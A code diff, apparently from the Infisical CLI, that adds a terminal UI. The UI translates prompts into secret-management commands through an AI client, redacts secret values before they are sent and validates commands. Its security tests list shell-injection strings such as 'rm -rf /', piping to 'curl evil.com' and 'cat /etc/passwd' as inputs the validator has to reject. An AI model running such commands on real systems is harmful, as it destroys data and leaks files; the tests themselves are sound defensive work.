+ }, + { + input: "", + expected: nil, + }, + } + + for _, tt := range tests { + result := splitArgs(tt.input) + if len(result) != len(tt.expected) { + t.Errorf("splitArgs(%q): expected %d args, got %d (%v)", tt.input, len(tt.expected), len(result), result) + continue + } + for i, arg := range result { + if arg != tt.expected[i] { + t.Errorf("splitArgs(%q)[%d]: expected %q, got %q", tt.input, i, tt.expected[i], arg) + } + } + } +} + +func TestBuildSetArgs(t *testing.T) { + e := &Executor{binaryPath: "infisical"} + // Simulate what RunRaw does for a set command + cmd := "infisical secrets set DB_URL=postgres://localhost --env=dev --path=/" + result := splitArgs(cmd[len("infisical "):]) // strip "infisical " prefix + + expected := []string{"secrets", "set", "DB_URL=postgres://localhost", "--env=dev", "--path=/"} + if len(result) != len(expected) { + t.Fatalf("expected %d args, got %d: %v", len(expected), len(result), result) + } + + for i, arg := range result { + if arg != expected[i] { + t.Errorf("arg[%d]: expected %q, got %q", i, expected[i], arg) + } + } + + _ = e // satisfy linter +} diff --git a/packages/itui/itui.go b/packages/itui/itui.go new file mode 100644 index 00000000..d8f613b0 --- /dev/null +++ b/packages/itui/itui.go @@ -0,0 +1,631 @@ +package itui + +import ( + "fmt" + "os" + "strings" + + "github.com/Infisical/infisical-merge/packages/itui/components" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +// Messages +type secretsLoadedMsg struct { + secrets []Secret + err error +} + +type contextLoadedMsg struct { + ctx SessionContext + err error +} + +type commandExecutedMsg struct { + result CommandResult +} + +type aiResponseMsg struct { + response AIResponse + err error +} + +// Model is the top-level Bubble Tea model +type Model struct { + // Components + contextBar components.ContextBarModel + secretBrowser components.SecretBrowserModel + detailPane components.DetailPaneModel + promptBar components.PromptBarModel + envPicker components.EnvPickerModel + confirmDialog components.ConfirmModel + secretForm components.SecretFormModel + helpModal components.HelpModel + + // State + ctx SessionContext + secrets []Secret + focusedPane FocusedPane + mode AppMode + aiClient *AIClient + executor *Executor + auditLog *AuditLogger + valueCache map[string]string // placeholder → real value, for sanitize/hydrate + + // Window + windowWidth int + windowHeight int + ready bool + err error +} + +// NewModel creates a new ITUI model +func NewModel() Model { + executor := NewExecutor() + + var aiClient *AIClient + apiKey := os.Getenv("GEMINI_API_KEY") + if apiKey != "" { + aiClient = NewAIClient(apiKey) + } + + return Model{ + contextBar: components.NewContextBar(), + secretBrowser: components.NewSecretBrowser(), + detailPane: components.NewDetailPane(), + promptBar: components.NewPromptBar(), + envPicker: components.NewEnvPicker(), + confirmDialog: components.NewConfirm(), + secretForm: components.NewSecretForm(), + helpModal: components.NewHelp(), + focusedPane: PaneSecretBrowser, + mode: ModeNormal, + executor: executor, + aiClient: aiClient, + auditLog: NewAuditLogger(), + valueCache: make(map[string]string), + ctx: SessionContext{ + Environment: "dev", + Path: "/", + }, + } +} + +func (m Model) Init() tea.Cmd { + return tea.Batch( + m.loadContext, + ) +} + +func (m Model) loadContext() tea.Msg { + ctx := LoadSessionContext() + return contextLoadedMsg{ctx: ctx} +} + +func (m Model) loadSecrets() tea.Msg { + secrets, err := m.executor.FetchSecrets(m.ctx.Environment, m.ctx.Path) + return secretsLoadedMsg{secrets: secrets, err: err} +} + +func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { + var cmds []tea.Cmd + + switch msg := msg.(type) { + case tea.WindowSizeMsg: + m.windowWidth = msg.Width + m.windowHeight = msg.Height + m.ready = true + m.updateLayout() + return m, nil + + case tea.KeyMsg: + // Global quit + if msg.String() == "ctrl+c" { + return m, tea.Quit + } + + // Handle overlays first + if m.helpModal.Visible { + var cmd tea.Cmd + m.helpModal, cmd = m.helpModal.Update(msg) + return m, cmd + } + if m.envPicker.Visible { + var cmd tea.Cmd + m.envPicker, cmd = m.envPicker.Update(msg) + return m, cmd + } + if m.confirmDialog.Visible { + var cmd tea.Cmd + m.confirmDialog, cmd = m.confirmDialog.Update(msg) + return m, cmd + } + if m.secretForm.Visible { + var cmd tea.Cmd + m.secretForm, cmd = m.secretForm.Update(msg) + return m, cmd + } + + // Handle prompt bar in preview mode + if m.promptBar.State == components.PromptStatePreview { + return m.handlePreviewKeys(msg) + } + + // Handle prompt bar input mode + if m.focusedPane == PanePrompt && m.promptBar.Active { + return m.handlePromptKeys(msg) + } + + // Global shortcuts (when not in prompt) + return m.handleGlobalKeys(msg) + + case contextLoadedMsg: + if msg.err != nil { + m.err = msg.err + m.detailPane.SetOutput("Error", msg.err.Error(), true) + } else { + m.ctx = msg.ctx + m.updateContextBar() + + if !m.ctx.IsLoggedIn { + m.detailPane.SetOutput("Not Logged In", + "You are not logged in to Infisical.\n\n"+ + "Run 'infisical login' in another terminal,\n"+ + "then press R to refresh.", true) + return m, nil + } + if m.ctx.ProjectID == "" { + m.detailPane.SetOutput("No Project Linked", + "No .infisical.json found in the current directory.\n\n"+ + "Run 'infisical init' in another terminal to link a project,\n"+ + "then press R to refresh.\n\n"+ + "You can still use the AI prompt (Ctrl+P) for general questions.", true) + return m, nil + } + } + return m, m.loadSecrets + + case secretsLoadedMsg: + if msg.err != nil { + m.detailPane.SetOutput("Error Loading Secrets", msg.err.Error(), true) + } else { + m.secrets = msg.secrets + m.updateSecretBrowser() + } + return m, nil + + case aiResponseMsg: + if msg.err != nil { + m.promptBar.Reset() + m.detailPane.SetOutput("AI Error", msg.err.Error(), true) + } else { + resp := msg.response + if resp.Command == "" { + // AI is asking a clarifying question + m.promptBar.Reset() + m.detailPane.SetOutput("AI Response", resp.Explanation, false) + } else { + m.promptBar.SetPreview(resp.Command, resp.Explanation, resp.ActionType, resp.RequiresConfirmation) + } + } + return m, nil + + case commandExecutedMsg: + result := msg.result + if result.Error != nil { + output := result.Stderr + if output == "" { + output = result.Error.Error() + } + m.detailPane.SetOutput("Command Failed", output, true) + } else { + m.detailPane.SetOutput("Command Output", result.Stdout, false) + } + m.promptBar.Reset() + // Refresh secrets after any command + return m, m.loadSecrets + + case components.EnvSelectedMsg: + m.ctx.Environment = msg.Environment + m.updateContextBar() + return m, m.loadSecrets + + case components.ConfirmYesMsg: + return m, m.executeCommand(msg.Command) + + case components.ConfirmNoMsg: + m.promptBar.Reset() + return m, nil + + case components.SecretCreatedMsg: + return m, m.executeCommand( + fmt.Sprintf("infisical secrets set %s=%s --env=%s --path=%s", + msg.Key, msg.Value, m.ctx.Environment, m.ctx.Path), + ) + } + + // Update active components + switch m.focusedPane { + case PaneSecretBrowser: + var cmd tea.Cmd + m.secretBrowser, cmd = m.secretBrowser.Update(msg) + cmds = append(cmds, cmd) + case PaneDetailOutput: + var cmd tea.Cmd + m.detailPane, cmd = m.detailPane.Update(msg) + cmds = append(cmds, cmd) + case PanePrompt: + var cmd tea.Cmd + m.promptBar, cmd = m.promptBar.Update(msg) + cmds = append(cmds, cmd) + } + + return m, tea.Batch(cmds...) +} + +func (m *Model) handleGlobalKeys(msg tea.KeyMsg) (tea.Model, tea.Cmd) { + switch msg.String() { + case "q": + if m.focusedPane != PanePrompt { + return m, tea.Quit + } + case "tab": + m.cycleFocus(1) + case "shift+tab": + m.cycleFocus(-1) + case "ctrl+p": + m.setFocus(PanePrompt) + m.promptBar.Focus() + case "?": + m.helpModal.Show() + case "e": + m.envPicker.Show(m.ctx.Environment, m.ctx.Environments) + case "n": + m.secretForm.Show() + case "d": + if item, ok := m.secretBrowser.SelectedItem(); ok { + isProd := strings.EqualFold(m.ctx.Environment, "prod") || strings.EqualFold(m.ctx.Environment, "production") + cmd := fmt.Sprintf("infisical secrets delete %s --env=%s --path=%s --type=shared", item.KeyName, m.ctx.Environment, m.ctx.Path) + m.confirmDialog.Show(cmd, fmt.Sprintf("Delete secret '%s' from %s?", item.KeyName, m.ctx.Environment), true, isProd) + } + case "r": + m.detailPane.ToggleReveal() + case "R": + return m, m.loadContext + case "enter": + if m.focusedPane == PaneSecretBrowser { + if item, ok := m.secretBrowser.SelectedItem(); ok { + // Find the full secret + for _, s := range m.secrets { + if s.Key == item.KeyName { + m.detailPane.SetSecret(s.Key, s.Value, s.Type, s.SecretPath, s.Comment) + break + } + } + } + } + default: + // Pass unhandled keys to the active component + if m.focusedPane == PaneSecretBrowser { + var cmd tea.Cmd + m.secretBrowser, cmd = m.secretBrowser.Update(msg) + return m, cmd + } + } + + return m, nil +} + +func (m *Model) handlePromptKeys(msg tea.KeyMsg) (tea.Model, tea.Cmd) { + switch msg.String() { + case "esc": + m.promptBar.Blur() + m.setFocus(PaneSecretBrowser) + return m, nil + case "enter": + input := m.promptBar.Value() + if input == "" { + return m, nil + } + if m.aiClient == nil { + m.detailPane.SetOutput("AI Unavailable", "Set GEMINI_API_KEY environment variable to enable AI features.", true) + return m, nil + } + m.promptBar.SetLoading() + cmd := m.translatePrompt(input) + return m, cmd + } + + // Let the text input handle the key + var cmd tea.Cmd + m.promptBar, cmd = m.promptBar.Update(msg) + return m, cmd +} + +func (m *Model) handlePreviewKeys(msg tea.KeyMsg) (tea.Model, tea.Cmd) { + switch msg.String() { + case "esc": + m.promptBar.Reset() + return m, nil + case "enter": + if !m.promptBar.PreviewConfirm { + return m, m.executeCommand(m.promptBar.PreviewCommand) + } + // Needs confirmation + isProd := strings.EqualFold(m.ctx.Environment, "prod") || strings.EqualFold(m.ctx.Environment, "production") + m.confirmDialog.Show( + m.promptBar.PreviewCommand, + m.promptBar.PreviewExplanation, + m.promptBar.PreviewActionType == "destructive", + isProd, + ) + return m, nil + case "y", "Y": + if m.promptBar.PreviewConfirm { + return m, m.executeCommand(m.promptBar.PreviewCommand) + } + } + return m, nil +} + +func (m *Model) translatePrompt(input string) tea.Cmd { + // Collect known secret values for redaction + knownValues := make([]string, 0, len(m.secrets)) + for _, s := range m.secrets { + if s.Value != "" { + knownValues = append(knownValues, s.Value) + } + } + + // Sanitize: extract values, replace with placeholders + sanitized, cache := SanitizePrompt(input, knownValues) + m.valueCache = cache + + // Collect secret key names (safe to send to AI) + secretKeys := make([]string, 0, len(m.secrets)) + for _, s := range m.secrets { + secretKeys = append(secretKeys, s.Key) + } + + return func() tea.Msg { + resp, err := m.aiClient.Translate(sanitized, m.ctx, secretKeys) + return aiResponseMsg{response: resp, err: err} + } +} + +func (m *Model) executeCommand(command string) tea.Cmd { + // Hydrate placeholders with cached real values + hydrated := HydrateCommand(command, m.valueCache) + + auditEntry := AuditEntry{ + UserEmail: m.ctx.UserEmail, + Environment: m.ctx.Environment, + AICommand: command, + } + + // If the command differs after hydration, record it (without real values in log) + if hydrated != command { + auditEntry.HydratedCommand = "[hydrated — values redacted from log]" + } + + // Validate the hydrated command + if err := ValidateCommand(hydrated); err != nil { + auditEntry.ValidationResult = "rejected: " + err.Error() + m.auditLog.Log(auditEntry) + return func() tea.Msg { + return commandExecutedMsg{result: CommandResult{ + Command: command, + Error: fmt.Errorf("security: %s", err.Error()), + Stderr: "Command rejected: " + err.Error(), + }} + } + } + + auditEntry.ValidationResult = "allowed" + executor := m.executor + auditLog := m.auditLog + + return func() tea.Msg { + result := executor.RunRaw(hydrated) + + // Log after execution + if result.Error != nil { + auditEntry.ExecutionError = result.Error.Error() + } else { + auditEntry.ExecutionResult = "success" + } + auditLog.Log(auditEntry) + + return commandExecutedMsg{result: result} + } +} + +func (m *Model) cycleFocus(dir int) { + panes := []FocusedPane{PaneSecretBrowser, PaneDetailOutput, PanePrompt} + current := 0 + for i, p := range panes { + if p == m.focusedPane { + current = i + break + } + } + next := (current + dir + len(panes)) % len(panes) + m.setFocus(panes[next]) +} + +func (m *Model) setFocus(pane FocusedPane) { + m.focusedPane = pane + m.secretBrowser.Active = pane == PaneSecretBrowser + m.detailPane.Active = pane == PaneDetailOutput + m.promptBar.Active = pane == PanePrompt + + if pane == PanePrompt { + m.promptBar.Focus() + } else { + m.promptBar.Blur() + } +} + +func (m *Model) updateContextBar() { + m.contextBar.UserEmail = m.ctx.UserEmail + m.contextBar.ProjectName = m.ctx.ProjectName + m.contextBar.Environment = m.ctx.Environment + m.contextBar.Path = m.ctx.Path + + if m.ctx.UserEmail == "" { + m.contextBar.UserEmail = "not logged in" + } + if m.ctx.ProjectName == "" { + m.contextBar.ProjectName = "none (run infisical init)" + } +} + +func (m *Model) updateSecretBrowser() { + items := make([]components.SecretItem, len(m.secrets)) + for i, s := range m.secrets { + items[i] = components.SecretItem{ + KeyName: s.Key, + Value: s.Value, + Type: s.Type, + } + } + m.secretBrowser.SetSecrets(items) +} + +func (m *Model) updateLayout() { + if !m.ready { + return + } + + w := m.windowWidth + h := m.windowHeight + + // Context bar: full width, 1 line + padding + contextBarHeight := 1 + // Prompt bar: full width, 5 lines (input + preview + hint + borders) + promptBarHeight := 5 + // Main content area: remaining height split between browser and detail + mainHeight := h - contextBarHeight - promptBarHeight - 2 // 2 for spacing + + if mainHeight < 5 { + mainHeight = 5 + } + + // Browser takes 40% width, detail takes 60% + browserWidth := w * 2 / 5 + detailWidth := w - browserWidth + + m.contextBar.Width = w + m.secretBrowser.SetSize(browserWidth, mainHeight) + m.detailPane.SetSize(detailWidth, mainHeight) + m.promptBar.SetWidth(w) +} + +func (m Model) View() string { + if !m.ready { + return "Loading ITUI..." + } + + // Check for overlays + var overlay string + if m.helpModal.Visible { + overlay = m.helpModal.View() + } else if m.envPicker.Visible { + overlay = m.envPicker.View() + } else if m.confirmDialog.Visible { + overlay = m.confirmDialog.View() + } else if m.secretForm.Visible { + overlay = m.secretForm.View() + } + + if overlay != "" { + return m.renderWithOverlay(overlay) + } + + return m.renderNormal() +} + +func (m Model) renderNormal() string { + contextBar := m.contextBar.View() + + mainContent := lipgloss.JoinHorizontal( + lipgloss.Top, + m.secretBrowser.View(), + m.detailPane.View(), + ) + + promptBar := m.promptBar.View() + + return lipgloss.JoinVertical( + lipgloss.Left, + contextBar, + mainContent, + promptBar, + ) +} + +func (m Model) renderWithOverlay(overlay string) string { + base := m.renderNormal() + + // Center the overlay + overlayWidth := lipgloss.Width(overlay) + overlayHeight := lipgloss.Height(overlay) + + x := (m.windowWidth - overlayWidth) / 2 + y := (m.windowHeight - overlayHeight) / 2 + + if x < 0 { + x = 0 + } + if y < 0 { + y = 0 + } + + // Place overlay on top of base + return placeOverlay(x, y, overlay, base) +} + +// placeOverlay places an overlay string on top of a background string +func placeOverlay(x, y int, overlay, background string) string { + bgLines := strings.Split(background, "\n") + olLines := strings.Split(overlay, "\n") + + for i, olLine := range olLines { + bgIdx := y + i + if bgIdx >= len(bgLines) { + break + } + + bgLine := bgLines[bgIdx] + bgRunes := []rune(bgLine) + + // Pad bg line if needed + for len(bgRunes) < x+lipgloss.Width(olLine) { + bgRunes = append(bgRunes, ' ') + } + + // Replace section + before := string(bgRunes[:x]) + after := "" + afterStart := x + lipgloss.Width(olLine) + if afterStart < len(bgRunes) { + after = string(bgRunes[afterStart:]) + } + + bgLines[bgIdx] = before + olLine + after + } + + return strings.Join(bgLines, "\n") +} + +// Run starts the ITUI application +func Run() error { + p := tea.NewProgram( + NewModel(), + tea.WithAltScreen(), + tea.WithMouseCellMotion(), + ) + + _, err := p.Run() + return err +} diff --git a/packages/itui/keys.go b/packages/itui/keys.go new file mode 100644 index 00000000..4cf5ec0c --- /dev/null +++ b/packages/itui/keys.go @@ -0,0 +1,94 @@ +package itui + +import "github.com/charmbracelet/bubbles/key" + +type keyMap struct { + Quit key.Binding + Tab key.Binding + ShiftTab key.Binding + Up key.Binding + Down key.Binding + Enter key.Binding + Escape key.Binding + Search key.Binding + EnvSwitch key.Binding + NewSecret key.Binding + DeleteSecret key.Binding + RevealValue key.Binding + FocusPrompt key.Binding + Help key.Binding + Refresh key.Binding + Confirm key.Binding + Deny key.Binding +} + +var keys = keyMap{ + Quit: key.NewBinding( + key.WithKeys("q", "ctrl+c"), + key.WithHelp("q/ctrl+c", "quit"), + ), + Tab: key.NewBinding( + key.WithKeys("tab"), + key.WithHelp("tab", "next pane"), + ), + ShiftTab: key.NewBinding( + key.WithKeys("shift+tab"), + key.WithHelp("shift+tab", "prev pane"), + ), + Up: key.NewBinding( + key.WithKeys("up", "k"), + key.WithHelp("up/k", "move up"), + ), + Down: key.NewBinding( + key.WithKeys("down", "j"), + key.WithHelp("down/j", "move down"), + ), + Enter: key.NewBinding( + key.WithKeys("enter"), + key.WithHelp("enter", "select/execute"), + ), + Escape: key.NewBinding( + key.WithKeys("esc"), + key.WithHelp("esc", "cancel/back"), + ), + Search: key.NewBinding( + key.WithKeys("/"), + key.WithHelp("/", "search secrets"), + ), + EnvSwitch: key.NewBinding( + key.WithKeys("e"), + key.WithHelp("e", "switch environment"), + ), + NewSecret: key.NewBinding( + key.WithKeys("n"), + key.WithHelp("n", "new secret"), + ), + DeleteSecret: key.NewBinding( + key.WithKeys("d"), + key.WithHelp("d", "delete secret"), + ), + RevealValue: key.NewBinding( + key.WithKeys("r"), + key.WithHelp("r", "reveal/mask value"), + ), + FocusPrompt: key.NewBinding( + key.WithKeys("ctrl+p"), + key.WithHelp("ctrl+p", "focus AI prompt"), + ), + Help: key.NewBinding( + key.WithKeys("?"), + key.WithHelp("?", "help"), + ), + Refresh: key.NewBinding( + key.WithKeys("R"), + key.WithHelp("R", "refresh secrets"), + ), + Confirm: key.NewBinding( + key.WithKeys("y", "Y"), + key.WithHelp("y", "confirm"), + ), + Deny: key.NewBinding( + key.WithKeys("n", "N"), + key.WithHelp("n", "deny"), + ), +} diff --git a/packages/itui/sanitizer.go b/packages/itui/sanitizer.go new file mode 100644 index 00000000..712a070d --- /dev/null +++ b/packages/itui/sanitizer.go @@ -0,0 +1,112 @@ +package itui + +import ( + "fmt" + "regexp" + "strings" +) + +// valuePatterns matches common patterns where users provide secret values +// Examples: "set X to VALUE", "set X=VALUE", "set X as VALUE", "with value VALUE" +var valuePatterns = []*regexp.Regexp{ + // "set KEY to VALUE" or "set KEY to VALUE in env" + regexp.MustCompile(`(?i)\bto\s+(.+?)(?:\s+(?:in|on|for|--)\s|\s*$)`), + // "set KEY=VALUE" + regexp.MustCompile(`=(\S+)`), + // "set KEY as VALUE" + regexp.MustCompile(`(?i)\bas\s+(.+?)(?:\s+(?:in|on|for|--)\s|\s*$)`), + // "with value VALUE" + regexp.MustCompile(`(?i)with\s+value\s+(.+?)(?:\s+(?:in|on|for|--)\s|\s*$)`), +} + +// SanitizePrompt extracts potential secret values from a user prompt, +// replaces them with placeholders, and returns a cache for later hydration. +// This ensures secret values never reach the AI API. +func SanitizePrompt(input string, knownSecretValues []string) (sanitized string, cache map[string]string) { + cache = make(map[string]string) + sanitized = input + counter := 1 + + // First: redact any known secret values found in the prompt + for _, val := range knownSecretValues { + if val == "" { + continue + } + if strings.Contains(sanitized, val) { + placeholder := fmt.Sprintf("[VALUE_%d]", counter) + cache[placeholder] = val + sanitized = strings.Replace(sanitized, val, placeholder, 1) + counter++ + } + } + + // Second: detect value patterns in set/update/change commands + // Only apply if the prompt looks like a write operation + lowerInput := strings.ToLower(sanitized) + isWriteOp := strings.Contains(lowerInput, "set ") || + strings.Contains(lowerInput, "update ") || + strings.Contains(lowerInput, "change ") || + strings.Contains(lowerInput, "create ") + + if isWriteOp { + // Look for "to VALUE" pattern (most common) + toPattern := regexp.MustCompile(`(?i)\bto\s+(\S+(?:\S*://\S+|\S+))`) + if matches := toPattern.FindStringSubmatchIndex(sanitized); matches != nil { + valStart := matches[2] + valEnd := matches[3] + val := sanitized[valStart:valEnd] + + // Don't redact environment names or common words + if !isCommonWord(val) && !alreadyPlaceholder(val) { + placeholder := fmt.Sprintf("[VALUE_%d]", counter) + cache[placeholder] = val + sanitized = sanitized[:valStart] + placeholder + sanitized[valEnd:] + counter++ + } + } + + // Look for KEY=VALUE pattern + eqPattern := regexp.MustCompile(`(\w+)=(\S+)`) + if matches := eqPattern.FindStringSubmatchIndex(sanitized); matches != nil { + valStart := matches[4] + valEnd := matches[5] + val := sanitized[valStart:valEnd] + + if !alreadyPlaceholder(val) { + placeholder := fmt.Sprintf("[VALUE_%d]", counter) + cache[placeholder] = val + sanitized = sanitized[:valStart] + placeholder + sanitized[valEnd:] + counter++ + } + } + } + + return sanitized, cache +} + +// HydrateCommand replaces [VALUE_N] placeholders in an AI-generated command +// with the real cached values. +func HydrateCommand(command string, cache map[string]string) string { + result := command + for placeholder, value := range cache { + result = strings.ReplaceAll(result, placeholder, value) + } + return result +} + +// isCommonWord returns true if the value is a common word that shouldn't be redacted +func isCommonWord(s string) bool { + common := map[string]bool{ + "dev": true, "staging": true, "prod": true, "production": true, + "test": true, "development": true, "local": true, + "shared": true, "personal": true, + "json": true, "dotenv": true, "yaml": true, "csv": true, + "true": true, "false": true, + } + return common[strings.ToLower(s)] +} + +// alreadyPlaceholder returns true if the string is already a [VALUE_N] placeholder +func alreadyPlaceholder(s string) bool { + return strings.HasPrefix(s, "[VALUE_") && strings.HasSuffix(s, "]") +} diff --git a/packages/itui/sanitizer_test.go b/packages/itui/sanitizer_test.go new file mode 100644 index 00000000..d9241f43 --- /dev/null +++ b/packages/itui/sanitizer_test.go @@ -0,0 +1,120 @@ +package itui + +import ( + "strings" + "testing" +) + +func TestSanitizePrompt_SetToValue(t *testing.T) { + input := "set DATABASE_URL to postgres://user:pass@host:5432/db in staging" + sanitized, cache := SanitizePrompt(input, nil) + + if strings.Contains(sanitized, "postgres://") { + t.Errorf("sanitized prompt still contains secret value: %s", sanitized) + } + if !strings.Contains(sanitized, "[VALUE_") { + t.Errorf("sanitized prompt should contain placeholder: %s", sanitized) + } + if len(cache) == 0 { + t.Error("cache should have entries") + } + + // Verify the value is in the cache + found := false + for _, v := range cache { + if strings.Contains(v, "postgres://") { + found = true + break + } + } + if !found { + t.Error("cache should contain the original value") + } +} + +func TestSanitizePrompt_KnownSecretValues(t *testing.T) { + input := "show me the secret with value sk-test-12345" + knownValues := []string{"sk-test-12345"} + sanitized, cache := SanitizePrompt(input, knownValues) + + if strings.Contains(sanitized, "sk-test-12345") { + t.Errorf("sanitized prompt still contains known secret value: %s", sanitized) + } + if len(cache) == 0 { + t.Error("cache should have entries for known values") + } +} + +func TestSanitizePrompt_NoValueToRedact(t *testing.T) { + input := "show me all production secrets" + sanitized, cache := SanitizePrompt(input, nil) + + if sanitized != input { + t.Errorf("prompt should be unchanged: got %q, want %q", sanitized, input) + } + if len(cache) != 0 { + t.Errorf("cache should be empty for read-only prompt, got %d entries", len(cache)) + } +} + +func TestSanitizePrompt_EnvNamesNotRedacted(t *testing.T) { + input := "set API_KEY to prod" + sanitized, cache := SanitizePrompt(input, nil) + + // "prod" is a common word and should NOT be redacted + if strings.Contains(sanitized, "[VALUE_") { + t.Errorf("common word 'prod' should not be redacted: %s (cache: %v)", sanitized, cache) + } +} + +func TestHydrateCommand(t *testing.T) { + command := "infisical secrets set DATABASE_URL=[VALUE_1] --env=staging" + cache := map[string]string{ + "[VALUE_1]": "postgres://user:pass@host:5432/db", + } + + hydrated := HydrateCommand(command, cache) + expected := "infisical secrets set DATABASE_URL=postgres://user:pass@host:5432/db --env=staging" + + if hydrated != expected { + t.Errorf("hydration failed:\n got: %s\n want: %s", hydrated, expected) + } +} + +func TestHydrateCommand_MultiplePlaceholders(t *testing.T) { + command := "infisical secrets set KEY1=[VALUE_1] KEY2=[VALUE_2] --env=dev" + cache := map[string]string{ + "[VALUE_1]": "value-one", + "[VALUE_2]": "value-two", + } + + hydrated := HydrateCommand(command, cache) + + if !strings.Contains(hydrated, "KEY1=value-one") { + t.Errorf("missing first value: %s", hydrated) + } + if !strings.Contains(hydrated, "KEY2=value-two") { + t.Errorf("missing second value: %s", hydrated) + } +} + +func TestHydrateCommand_EmptyCache(t *testing.T) { + command := "infisical export --format=json --env=dev" + hydrated := HydrateCommand(command, nil) + + if hydrated != command { + t.Errorf("command should be unchanged with empty cache: %s", hydrated) + } +} + +func TestSanitizePrompt_KeyEqualsValue(t *testing.T) { + input := "set API_KEY=sk-secret-token-123" + sanitized, cache := SanitizePrompt(input, nil) + + if strings.Contains(sanitized, "sk-secret-token-123") { + t.Errorf("sanitized should not contain secret: %s", sanitized) + } + if len(cache) == 0 { + t.Error("cache should have the value") + } +} diff --git a/packages/itui/security.go b/packages/itui/security.go new file mode 100644 index 00000000..2a825663 --- /dev/null +++ b/packages/itui/security.go @@ -0,0 +1,80 @@ +package itui + +import ( + "fmt" + "strings" +) + +// allowedCommands is the allowlist of infisical subcommands that ITUI can execute +var allowedCommands = map[string]bool{ + "secrets": true, + "secrets get": true, + "secrets set": true, + "secrets delete": true, + "secrets folders": true, + "export": true, + "run": true, + "scan": true, + "user": true, + "login": true, +} + +// dangerousPatterns are shell metacharacters that indicate injection attempts +var dangerousPatterns = []string{ + ";", + "|", + "&&", + "||", + "`", + "$(", + "${", + ">", + "<", + "\n", + "\r", +} + +// ValidateCommand checks that an AI-generated command is safe to execute. +// It verifies the command uses an allowed infisical subcommand and contains +// no shell injection patterns. +func ValidateCommand(command string) error { + command = strings.TrimSpace(command) + + if command == "" { + return fmt.Errorf("empty command") + } + + // Strip "infisical " prefix if present + stripped := command + if strings.HasPrefix(stripped, "infisical ") { + stripped = strings.TrimPrefix(stripped, "infisical ") + } + + // Check for shell metacharacters in the full command + for _, pattern := range dangerousPatterns { + if strings.Contains(command, pattern) { + return fmt.Errorf("command rejected: contains dangerous pattern %q — possible shell injection", pattern) + } + } + + // Parse the subcommand (first 1-2 tokens) + tokens := strings.Fields(stripped) + if len(tokens) == 0 { + return fmt.Errorf("empty command after parsing") + } + + // Check two-token subcommands first (e.g., "secrets get") + if len(tokens) >= 2 { + twoToken := tokens[0] + " " + tokens[1] + if allowedCommands[twoToken] { + return nil + } + } + + // Check single-token subcommands (e.g., "export") + if allowedCommands[tokens[0]] { + return nil + } + + return fmt.Errorf("command rejected: %q is not an allowed subcommand. Allowed: secrets, export, run, scan, user, login", tokens[0]) +} diff --git a/packages/itui/security_test.go b/packages/itui/security_test.go new file mode 100644 index 00000000..d2cffe71 --- /dev/null +++ b/packages/itui/security_test.go @@ -0,0 +1,77 @@ +package itui + +import ( + "testing" +) + +func TestValidateCommand_AllowedCommands(t *testing.T) { + allowed := []string{ + "infisical secrets get DB_URL --env=dev", + "infisical secrets set KEY=value --env=staging", + "infisical secrets delete OLD_KEY --env=dev --type=shared", + "infisical secrets folders get --env=prod", + "infisical export --format=json --env=dev", + "infisical run --env=dev -- npm start", + "infisical scan .", + "infisical user", + "infisical login", + "secrets get DB_URL --env=dev", + "export --format=json", + } + + for _, cmd := range allowed { + if err := ValidateCommand(cmd); err != nil { + t.Errorf("expected %q to be allowed, got error: %v", cmd, err) + } + } +} + +func TestValidateCommand_RejectedSubcommands(t *testing.T) { + rejected := []string{ + "infisical agent --config=evil.yaml", + "infisical gateway start", + "infisical proxy --port=8080", + "infisical pam ssh connect", + "infisical relay start", + "infisical bootstrap", + "infisical reset", + "infisical vault set key=val", + "infisical dynamic_secrets lease", + } + + for _, cmd := range rejected { + if err := ValidateCommand(cmd); err == nil { + t.Errorf("expected %q to be rejected, but it was allowed", cmd) + } + } +} + +func TestValidateCommand_ShellInjection(t *testing.T) { + injections := []string{ + "infisical secrets get KEY; rm -rf /", + "infisical secrets get KEY | curl evil.com", + "infisical secrets get KEY && cat /etc/passwd", + "infisical secrets get KEY || echo pwned", + "infisical secrets get `whoami`", + "infisical secrets get $(id)", + "infisical secrets get KEY > /tmp/secrets", + "infisical secrets get KEY < /dev/null", + "infisical secrets get ${HOME}", + "infisical secrets get KEY\nrm -rf /", + } + + for _, cmd := range injections { + if err := ValidateCommand(cmd); err == nil { + t.Errorf("expected shell injection %q to be rejected, but it was allowed", cmd) + } + } +} + +func TestValidateCommand_EmptyCommand(t *testing.T) { + if err := ValidateCommand(""); err == nil { + t.Error("expected empty command to be rejected") + } + if err := ValidateCommand(" "); err == nil { + t.Error("expected whitespace command to be rejected") + } +} diff --git a/packages/itui/styles.go b/packages/itui/styles.go new file mode 100644 index 00000000..b8a4a5bf --- /dev/null +++ b/packages/itui/styles.go @@ -0,0 +1,131 @@ +package itui + +import "github.com/charmbracelet/lipgloss" + +var ( + // Colors + primaryColor = lipgloss.Color("#7C3AED") // purple + accentColor = lipgloss.Color("#10B981") // green + warningColor = lipgloss.Color("#F59E0B") // yellow + dangerColor = lipgloss.Color("#EF4444") // red + mutedColor = lipgloss.Color("#6B7280") // gray + textColor = lipgloss.Color("#F9FAFB") // white + bgColor = lipgloss.Color("#111827") // dark bg + surfaceColor = lipgloss.Color("#1F2937") // slightly lighter bg + borderColor = lipgloss.Color("#374151") // border gray + highlightColor = lipgloss.Color("#8B5CF6") // lighter purple + + // Context bar + contextBarStyle = lipgloss.NewStyle(). + Background(primaryColor). + Foreground(textColor). + Bold(true). + Padding(0, 1) + + contextBarProdStyle = lipgloss.NewStyle(). + Background(dangerColor). + Foreground(textColor). + Bold(true). + Padding(0, 1) + + contextLabelStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#C4B5FD")). + Bold(false) + + // Secret browser pane + secretBrowserStyle = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(borderColor). + Padding(0, 1) + + secretBrowserActiveStyle = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(primaryColor). + Padding(0, 1) + + secretItemStyle = lipgloss.NewStyle(). + Foreground(textColor) + + secretItemSelectedStyle = lipgloss.NewStyle(). + Foreground(textColor). + Background(highlightColor). + Bold(true) + + secretValueMasked = lipgloss.NewStyle(). + Foreground(mutedColor) + + // Detail / output pane + detailPaneStyle = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(borderColor). + Padding(0, 1) + + detailPaneActiveStyle = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(primaryColor). + Padding(0, 1) + + detailKeyStyle = 